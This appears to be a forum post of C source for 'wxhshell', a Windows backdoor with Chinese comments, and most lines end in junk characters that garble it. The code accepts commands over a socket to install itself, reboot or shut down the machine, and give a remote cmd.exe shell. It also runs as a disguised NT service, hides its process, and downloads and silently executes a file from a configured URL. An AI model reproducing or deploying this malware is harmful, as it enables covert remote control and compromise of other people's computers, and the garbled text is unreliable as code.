  case '?': { PzWhB* iBR  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); (g`G(K_  
    break; 0hn N>?  
  } !=3[Bm G  
  // 安装 /9,!)/j  
  case 'i': { 2)Grl;T]s  
    if(Install()) uwXquOw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U ]`SM6  
    else eqb8W5h'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); A7 qyv0F  
    break; ']WS@MbJ  
    } u K6R+a  
  // 卸载 MxD,xpf  
  case 'r': { B+#!%J_  
    if(Uninstall()) mFw`LvH?*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); KbQ UA$gL=  
    else [KLs} ~H  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `|P fa  
    break;  5f(yF  
    } n#Q;b Sw  
  // 显示 wxhshell 所在路径 O; 7`*}m  
  case 'p': { 3s<~}&"  
    char svExeFile[MAX_PATH]; zt/b S/  
    strcpy(svExeFile,"\n\r"); ?'Y\5n/*$  
      strcat(svExeFile,ExeFile); (/Lo44wT  
        send(wsh,svExeFile,strlen(svExeFile),0); 6oMU) DIa  
    break; SMY,bU'a  
    } oDogM`T`  
  // 重启 {`2! 3= "  
  case 'b': { \1cay#X  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ig5 d-A  
    if(Boot(REBOOT)) 'G;y!<a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9E5Ec~l  
    else { !K-lO{Z^  
    closesocket(wsh); wmAZ {  
    ExitThread(0);  $A]2Iw!&  
    } 18f!k  
    break; : W6`{Z  
    } hO w  
  // 关机 S.pL^Ru  
  case 'd': { Q1yMI8  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); V9&7K65-1  
    if(Boot(SHUTDOWN)) <ZcJC+k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p2 V8{k  
    else { 2$?bLvk  
    closesocket(wsh); ebK/cPa8  
    ExitThread(0); OC34@YUj[  
    } |ZZl3l=]  
    break; _&)^a)Nu  
    } &*}`uJt  
  // 获取shell ?~X*\  
  case 's': { vikA  
    CmdShell(wsh); y.PWh<dI  
    closesocket(wsh); }K':tX?  
    ExitThread(0); Q#w mS&$f  
    break; &YC Z L  
  } h_#x@p  
  // 退出 > Dy<@e  
  case 'x': { ix4O-o{  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); <qJI]P  
    CloseIt(wsh); FcVQ_6  
    break; m}ZkNWH  
    } E[q:65xl  
  // 离开 E-gI'qG\(  
  case 'q': { {w:*t)@j  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); tljZE)  
    closesocket(wsh); <LL+\kfTZO  
    WSACleanup(); Sk7l&B  
    exit(1); nb-]fa  
    break; $WmB__  
        } ^/@Z4(E  
  } {9?++G"\  
  } :5|'C  
`o/G0~T)  
  // 提示信息 WK$75G,  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -' :;0  
} ykK21P,v  
  } RP[^1  
2E5n07,  
  return; +g %h,@  
} !|4fww  
WXHvUiFf  
// shell模块句柄 LX f r  
int CmdShell(SOCKET sock) U}f"a!  
{ DBTeV-G9~R  
STARTUPINFO si; o]T-7Gs4p  
ZeroMemory(&si,sizeof(si)); ^97u0K3$  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; [0c7fH`8V  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; QFekj@  
PROCESS_INFORMATION ProcessInfo; XBx&&  
char cmdline[]="cmd";  -c%#Hd  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); cdd6*+E  
  return 0; 6sceymq  
} p+x}$&<|  
E~}@56ER}  
// 自身启动模式 +"J2k9E  
int StartFromService(void) WO;2=[#O;  
{ lU?8<X  
typedef struct /Ne;Kdp  
{ !m]_tB  
  DWORD ExitStatus;  &<nj~BL  
  DWORD PebBaseAddress; -Cn x!g}  
  DWORD AffinityMask; OVq(ulwi+  
  DWORD BasePriority; Dh+<|6mx  
  ULONG UniqueProcessId; z`]sWi F0  
  ULONG InheritedFromUniqueProcessId; vciO={M  
}   PROCESS_BASIC_INFORMATION; d23;c )'  
aI.5w9  
PROCNTQSIP NtQueryInformationProcess; Z7]["  
UP<B>Y1a  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; \7V[G6'{  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Sb QM!Q  
!LI 8Xk  
  HANDLE             hProcess; Yt]Y(  
  PROCESS_BASIC_INFORMATION pbi; d.e_\]o<@  
N[=c|frho  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 7a0T]  
  if(NULL == hInst ) return 0; c"*xw8|  
LI}@qLe  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); }BYs.$7  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); . E8Gj'yO  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); xg(* j[ff3  
op8[8pt%  
  if (!NtQueryInformationProcess) return 0; Mi^/`1  
m>FP&~2  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); +HDfEo T  
  if(!hProcess) return 0; $I0&I[_LzK  
5,_DM  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; JnE\z*NB  
w;b;rHAZ\  
  CloseHandle(hProcess); (e"\%p`  
Wf!u?nH.5  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); $y$E1A6h+  
if(hProcess==NULL) return 0; 8*x/NaH /\  
\Gl>$5np  
HMODULE hMod; O[Yc-4  
char procName[255]; F_I.=zQr  
unsigned long cbNeeded; !8Y $}  
V$Zl]f$S  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); X_HU?Q_N  
:DG7Z  
  CloseHandle(hProcess); f|+aa6hN  
sq rY<@%  
if(strstr(procName,"services")) return 1; // 以服务启动 S7v# `#  
MV.&GUez{  
  return 0; // 注册表启动 SD  _P=?  
} 4`Ib wg6"B  
V=d~}PJ>  
// 主模块 $V870 <  
int StartWxhshell(LPSTR lpCmdLine) Mni@@W  
{ T`$!/BlZ  
  SOCKET wsl; mXwDB)O{)  
BOOL val=TRUE; 50`=[l`V  
  int port=0; zI7iZ"2a  
  struct sockaddr_in door; FZBdQhYF  
% `\}#  
  if(wscfg.ws_autoins) Install(); pqF!1  
cj;k{ Moc  
port=atoi(lpCmdLine); <Z j>}  
w# R0QF  
if(port<=0) port=wscfg.ws_port; Oh=E!  
*<ILSZ  
  WSADATA data; k0bDEz.X  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Ud:;kI%Vj  
ThiM6Hb  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   P>nz8NRq  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 'T+v&M  
  door.sin_family = AF_INET; f0@4 >\g  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); cI\&&<>SlG  
  door.sin_port = htons(port); Oil~QAd,  
"'3QKeM1  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ' e:rL.  
closesocket(wsl); QTIC5cl,  
return 1; !d Z:Ih.[{  
} frRO?  
bLsN?_jy  
  if(listen(wsl,2) == INVALID_SOCKET) { 3f-J%!aH  
closesocket(wsl);  myOdf'=  
return 1; nN%Zed2O@6  
} =m-nvXD  
  Wxhshell(wsl); {d '>J<Da  
  WSACleanup(); yvCX is  
\AOHZ r  
return 0; dZkj|Ua~  
P`L, eYc  
} g3| 62uDF  
LV8{c!"  
// 以NT服务方式启动 ~.$ca.Gf  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) @[v4[yq-  
{ ;;  ?OS  
DWORD   status = 0; %~I%*=o[  
  DWORD   specificError = 0xfffffff; E$C0\O!7  
|>/m{L[  
  serviceStatus.dwServiceType     = SERVICE_WIN32; %7A?gY81  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; [_-[S  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; GK&R,q5}  
  serviceStatus.dwWin32ExitCode     = 0; R4%}IT^%P  
  serviceStatus.dwServiceSpecificExitCode = 0; )mu[ye"p  
  serviceStatus.dwCheckPoint       = 0; ('6sW/F*ab  
  serviceStatus.dwWaitHint       = 0; H;N6X y*~  
y:YJv x6&4  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 2O(= 2X  
  if (hServiceStatusHandle==0) return; z9 $1jC  
G2yQHTbl  
status = GetLastError(); |xFSGrC  
  if (status!=NO_ERROR) }qg.Go  
{ J'C%  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; #k t+ )>  
    serviceStatus.dwCheckPoint       = 0; bScW<DZJ-  
    serviceStatus.dwWaitHint       = 0; /s Bs eI  
    serviceStatus.dwWin32ExitCode     = status; Zvkb=  
    serviceStatus.dwServiceSpecificExitCode = specificError; \:jJ{bl^A  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); `zOn(6B;U  
    return; -Mzm~@_s]  
  } ,In}be$:  
<O3,b:vw  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; WesEZ\V  
  serviceStatus.dwCheckPoint       = 0; hQ}y(2A.XI  
  serviceStatus.dwWaitHint       = 0; TG6E^3a P  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Qe;R3D=T;  
} RG6U~o1  
M.K%;j`  
// 处理NT服务事件,比如:启动、停止 ;Dp<|n  
VOID WINAPI NTServiceHandler(DWORD fdwControl) r*g<A2g%  
{ /DX6Hkkj%  
switch(fdwControl) ,&LGAa  
{ O4oI&i 7  
case SERVICE_CONTROL_STOP: jJ3dZ<#  
  serviceStatus.dwWin32ExitCode = 0; t_hr${  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ^Is#_Z|  
  serviceStatus.dwCheckPoint   = 0; Z$y~:bz  
  serviceStatus.dwWaitHint     = 0; $O9,Gvnxx  
  { &Fh#otH_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >JHQA1mX  
  } C zxF  
  return; Lnc>O'<5P9  
case SERVICE_CONTROL_PAUSE: J0 UF(  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; T7Qw1k  
  break; 8F/JOtkGMt  
case SERVICE_CONTROL_CONTINUE: zXGi  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; MX s]3M  
  break; _)MbvF  
case SERVICE_CONTROL_INTERROGATE: 8B;HMD  
  break; S?u@3PyJm  
}; ZDr&Alp)o  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ja{[T  
} 6tN!]  
QygbfW6u  
// 标准应用程序主函数 +K:hetv  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 'Omj-o'tn9  
{ ~#|Pe1Y  
f5,!,]XO  
// 获取操作系统版本 sh;>6xB  
OsIsNt=GetOsVer(); `|e3OCU  
GetModuleFileName(NULL,ExeFile,MAX_PATH); u .,l_D_  
I5#zo,9  
  // 从命令行安装 NU%<Ws=  
  if(strpbrk(lpCmdLine,"iI")) Install(); '\R/-.  
OFn#C!  
  // 下载执行文件 %ql2 XAY  
if(wscfg.ws_downexe) { Pvz\zRq  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Y(C-o[-N  
  WinExec(wscfg.ws_filenam,SW_HIDE); V?N8 ,)j  
} t&H3yV  
p_qJI@u8  
if(!OsIsNt) { p~17cH4~-f  
// 如果时win9x,隐藏进程并且设置为注册表启动 JQH>{OB  
HideProc(); =4804N7  
StartWxhshell(lpCmdLine); uol EX+  
} T*rx5*:o  
else 7(B"3qF8|  
  if(StartFromService()) 6HRr 4NDcj  
  // 以服务方式启动 Bb*P);#.K  
  StartServiceCtrlDispatcher(DispatchTable); -}9>#<v  
else ~ }?*v}  
  // 普通方式启动 X^)v ZL?  
  StartWxhshell(lpCmdLine); qORRpWyx&  
Mc<O ~  
return 0; ^'Qe.DW[  
}
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只看该作者 1 发表于: 2006-10-10
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